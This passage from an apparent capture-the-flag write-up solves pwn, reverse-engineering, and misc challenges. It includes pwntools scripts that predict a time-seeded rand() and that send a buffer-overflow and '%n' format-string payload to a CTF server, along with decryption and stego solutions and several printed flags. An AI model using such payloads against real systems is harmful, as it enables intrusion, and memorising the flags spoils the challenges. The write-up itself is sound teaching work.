5021) io.recvuntil(b'me guess the names?') libc.srand(int(time.time())) for _ in range(50): name = heroes[libc.rand() % 20] io.sendlineafter(b'!!!): ', name.encode()) print(io.recvall()) io.close() ``` ### wasmup To make this easier to rev, you can compile the program with wat2wasm then decompile it to human readable code with the [ghidra plugin](https://github.com/nneonneo/ghidra-wasm-plugin). Once we can properly analyze the code, we can see that it's a simple program that will give hardcoded responses to certain inputs we pass it. There's a special `debug` command which prints with printf the address of the index variable for the index of a function table it uses. After toying around, we can see that we have a normal buffer overflow which allows us to overwrite these printf strings, so we can craft a printf string that overwrites the index to one that points to the `wassflag` function in the binary that prints the flag for us. ```python= from pwn import * p = remote("52.59.124.14", 5005) p.sendlineafter(b"alone?", b"BBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA%n") p.sendlineafter(b"AAAAAAAAAA", b"debug") p.interactive() ``` ## REVERSE ### flagchecker ```python= def decrypt(enc): flag = "" for i in range(34): v = ((enc[i] << 5) | (enc[i] >> 3)) & 0xFF v = (v - i) & 0xFF flag += chr(v ^ 0x5A) return flag enc = [0xF8, 0xA8, 0xB8, 0x21, 0x60, 0x73, 0x90, 0x83, 0x80, 0xC3, 0x9B, 0x80, 0xAB, 0x09, 0x59, 0xD3, 0x21, 0xD3, 0xDB, 0xD8, 0xFB, 0x49, 0x99, 0xE0, 0x79, 0x3C, 0x4C, 0x49, 0x2C, 0x29, 0xCC, 0xD4, 0xDC, 0x42] print(decrypt(enc)) ``` ### scrambled Xor with 2a which is found by bruteforce. `45TY5CR41ND33D_34R3_3D_TM83LGG5_ENO{!!!}` then unscrambled in chunks of 4 `ENO{5CR4M83L3D_3GG5_4R3_1ND33D_T45TY!!!}` ### backtrack We can open up the binary in ida and find a function which seems to get some registry key values. After that's done, it passes that info on to a suspicious looking function which seems to be running some sort of decryption. Porting that decryption function over to python and running it on the encrypted file gives us a jpg of the flag ```python= FILENAME = "data.bin" with open(FILENAME, "rb") as f: data = f.read() def r8(offset): return data[offset] def r16(offset): return int.from_bytes(data[offset:offset+2], 'little') c = 0 cur_offset = 4 decrypted = bytearray() while cur_offset < len(data): if c == 0: val = r16(cur_offset) cur_offset += 2 c = 16 if (val & 1) != 0: v8 = (r8(cur_offset) & 0xf0) << 4 v7 = (r8(cur_offset) & 0xf) + 1 v9 = v8 + r8(cur_offset + 1) cur_offset += 2 assert len(decrypted) > v9, f"{len(decrypted) = } {v9 = :#x} {decrypted = }" pos = len(decrypted) - v9 for i in range(v7): decrypted.append(decrypted[pos + i]) else: decrypted.append(r8(cur_offset)) cur_offset += 1 val >>= 1 c -= 1 with open("dec.bin", "wb") as f: f.write(bytes(decrypted)) ``` ### oscilloscope `data[0]` represents time, `data[1]` represents the clock, and `data[2]` represents the observed signals. For each clock cycle, if the majority of `data[2]` values are greater than 1, observe it as 1; otherwise, observe it as 0. Split the result into 9-bit segments and interpret them as ASCII to obtain the flag. ```python= import pickle import matplotlib.pyplot as plt def bitstring_to_bytes(s): return int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big') data = pickle.load(open("trace.pckl", "rb")) FROM = 68000 TO = 240000 SAMPLES = 20 while data[1][FROM] > 1: FROM +=1 while data[1][TO] > 1: TO -=1 idx = FROM + SAMPLES prev = idx result = "" while idx < TO: while sum(data[1][idx-SAMPLES:idx]) > SAMPLES: idx += 1 t1 = idx while sum(data[1][idx-SAMPLES:idx]) < SAMPLES: idx += 1 t2 = idx next = (t1+t2)//2 if sum(data[2][prev:next])//(next-prev) > 1: result += "1" else: result += "0" prev = next data1 = data[1][FROM:TO] data2 = data[2][FROM:TO] x_values = data[0][FROM:TO] result = result[1:] print(result) b = b"" for i in range(0,len(result), 9): b += int(result[i:i+8],2).to_bytes() print(b) # open("x", "wb").write(b) # plt.plot(x_values, data1, linestyle='-', color='b') # plt.plot(x_values, data2, linestyle='-', color='r') # plt.xlabel('Index') # plt.ylabel('Value') # plt.grid(True) # plt.show() ``` ## MISC ### Ancient Paper Its a IBM punchcard. The decode information can be found [here]( https://gen5.info/$/LU0NS2XPG8MDVCVZS/) ```python= """ Most code from this repo # https://github.com/MusIF-MIAI/punchcard-decoder/blob/main/card.py """ def master_card_to_map(master_card_string): # Turn the ASCII art sideways and build a hash lookup rows = master_card_string[1:].split('\n') rotated = [[r[i] for r in rows[0:13]] for i in range(5, len(rows[0]) - 1)] translate = {} for v in rotated: translate[tuple(v[1:])] = v[0] return translate # IBM punch card character map IBM_MODEL_029_KEYPUNCH = """ /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'="`.<(+|!$*);^~,%_>? | 12 / O OOOOOOOOO OOOOOO | 11| O OOOOOOOOO OOOOOO | 0| O OOOOOOOOO OOOOOO | 1| O O O O | 2| O O O O O O O O | 3| O O O O O O O O | 4| O O O O O O O O | 5| O O O O O O O O | 6| O O O O O O O O | 7| O O O O O O O O | 8| O O O O OOOOOOOOOOOOOOOOOOOOOOOO | 9| O O O O | |__________________________________________________________________|""" # Create translation map translate = master_card_to_map(IBM_MODEL_029_KEYPUNCH) def decode_punch_card(data_rows): # Convert string data to list of columns columns = [] width = len(data_rows[0]) # Create columns from rows for i in range(width): column = [] for row in data_rows: column.append(row[i] == '1') columns.append(column) # Decode each column to a character result = '' for column in columns: code_key = [] for bit in column: code_key.append('O' if bit else ' ') code_key = tuple(code_key) result += translate.get(code_key, '•') return result # manual work punch_card_data = [ "00000010001010100110000000100010101010000000000000100000000000000000000000000000", "00000001110000011000110100000100000000101011011011010000000000000000000000000000", "00000000000100000101000001010001000101010001000000001000000000000000000000000000", "10000000001000000000000010000000000000000000000000000010000000000000000000000000", "00000000000000000000000000000000000000000000000000000000000000000000000000000000", "01100000000100000000111001001010010000010000000000001001100000000000000000000000", "00000000010000000000000000000000101000000100000000000000000000000000000000000000", "00000000000011110000000000010100000100000010110000010000000000000000000000000000", "00000011000000001000000000000000000010000000001000000000000000000000000000000000", "00010000000000000000000000000000000000000000000010000000010000000000000000000000", "00000000000011000010000000110000000100000000111000000000000000000000000000000000", "00000000100000000000000100000000000000101000000001100000000000000000000000000000" ] decoded_text = decode_punch_card(punch_card_data) print("Decoded text:", decoded_text) ``` ### driving From exiftool we can find the artist name gives us a clue and how the flag is hidden. `Artist : 2+(10*n) for all n>=10` ```python= import cv2 import os def extract_frames(video_path): cap = cv2.VideoCapture(video_path) if not cap.isOpened(): print("[!] Error: Could not open video file") return frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) print(f"[*] Total frames in video: {frame_count}") saved_count = 0 frame_number = 0 while True: ret, frame = cap.read() if not ret: break # Check if this frame should be saved based on the formula: 2+(10*n) for n>=10 # Which means frames that are 2 more than multiples of 10, starting from frame 102 if frame_number >= 102 and (frame_number - 2) % 10 == 0: output_filename = f'output_{saved_count+1:04d}.png' cv2.imwrite(output_filename, frame) print(f"[+] Saved frame {frame_number} as {output_filename}") saved_count += 1 frame_number += 1 cap.release() print(f"\n[*] Extraction complete. Saved {saved_count} frames.") video_path = 'driving.mp4' if not os.path.exists(video_path): print(f"[!] Error: Video file '{video_path}' not found") else: extract_frames(video_path) ``` Now checking the corners of each frame clockwise gives us the flag. ### Powerplay This is involving getting negative index of the list by exploiting squaring a positive number in `np.int32` to give a negative number. We could simply brute force it ```python= from gmpy2 import iroot for i in range(0, 200000000): offset = i * 0x100000000 + 0xffffffff + 1 for j in range(1, 25): if iroot(offset - j, 2)[1]: print('i', i, j) # 280614 raise ``` then send a single value `iroot(280614 * 0x100000000 + 0xffffffff + 1 - 0, 2)[0]`. ### Profound thought ``` zsteg l5b245c11.png imagedata .. text: "286-0.\t\n\t" b1,r,lsb,xy .. text: "rzsZA>FCNR^_]\"" b1,r,msb,xy .. file: OpenPGP Public Key b1,g,msb,xy .. file: OpenPGP Secret Key b1,rgb,lsb,xy .. text: "ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57" b2,r,msb,xy .. file: OpenPGP Secret Key b2,bgr,msb,xy .. file: OpenPGP Public Key b3,r,msb,xy .. file: RLE image data, 16888 x 4242, lower left corner: 8321, lower right corner: 65025, clear first, 16 color channels, 224 bits per pixel, 183 color map channels b4,r,lsb,xy .. text: "wYtE$ER\#$DUEFuREEf2E%5" b4,g,lsb,xy .. text: "#\"5DQ232UT2" ``` ### USBnet Notice PNG headers. Extract the QR . ![image](https://hackmd.io/_uploads/H1A7t-Gtke.png) QR has the flag. `ENO{USB_ETHERNET_ADAPTER_ARE_COOL_N!C3}` ### abroad study notes Replace `FF 07` with `FF 00` and open the jpg file. ```python b = open("imp0rt4nt_3tudy_n0t3s.jpg", "rb").read() b = b.replace(b"\xff\x07",b"\xff\x00") open("test.jpg", "wb").write(b) ``` ### semaphore We figured out pretty quick that this was just [Flag Semaphore](https://www.dcode.fr/semaphore-flag) encoding. After parsing out all the frames with ffmpeg and decoding, we get the following output: ``` QBAAAEFAAAAGOADBEEAAAEAAGDENPAKADABAEAKAAAAABOBIOHKLHGPOAHPKGAPKNNBMEIABIAAPLJDIOAAAAABABAIAKLPENIEAIONHODKKAEHEFFECACPGGGMGBGHCOHEHIHECAEIFEFEFACPDBCODAANAKEMGJGOGLCNEMGBHJGFHCDKCAFCEGEDCNDEDIDCDECNHDGFGNGBHAGIGPHCGFANAKANAKAAAAR ``` This looks pretty random, but chars S-Z aren't used and Q only appears in the beginning and R at the end, so we assumed those were just markers. That left us with 16 unique characters in the message, so we assumed it was hex encoding and we were able to decode it with the following script: ```python= f = "QBAAAEFAAAAGOADBEEAAAEAAGDENPAKADABAEAKAAAAABOBIOHKLHGPOAHPKGAPKNNBMEIABIAAPLJDIOAAAAABABAIAKLPENIEAIONHODKKAEHEFFECACPGGGMGBGHCOHEHIHECAEIFEFEFACPDBCODAANAKEMGJGOGLCNEMGBHJGFHCDKCAFCEGEDCNDEDIDCDECNHDGFGNGBHAGIGPHCGFANAKANAKAAAAR" f = f[1:-1].translate(str.maketrans("ABCDEFGHIJKLMNOP", "0123456789ABCDEF")) print(bytes.fromhex(f)) ``` which gave us this output ``` b'\x10\x00E\x00\x00n\x03\x14@\x00@\x064\xdf\n\x03\x01\x04\n\x00\x00\x01\xe1\x8ez\xb7o\xe0\x7f\xa6\x0f\xad\xd1\xc4\x80\x18\x00\xfb\x93\x8e\x00\x00\x01\x01\x08\n\xbfM\x84\x08\xed~:\xa0GET /flag.txt HTTP/1.0\r\nLink-Layer: RFC-4824-semaphore\r\n\r\n\x00\x00' ``` So we send over that same request back to the website we got the gif from and got the flag.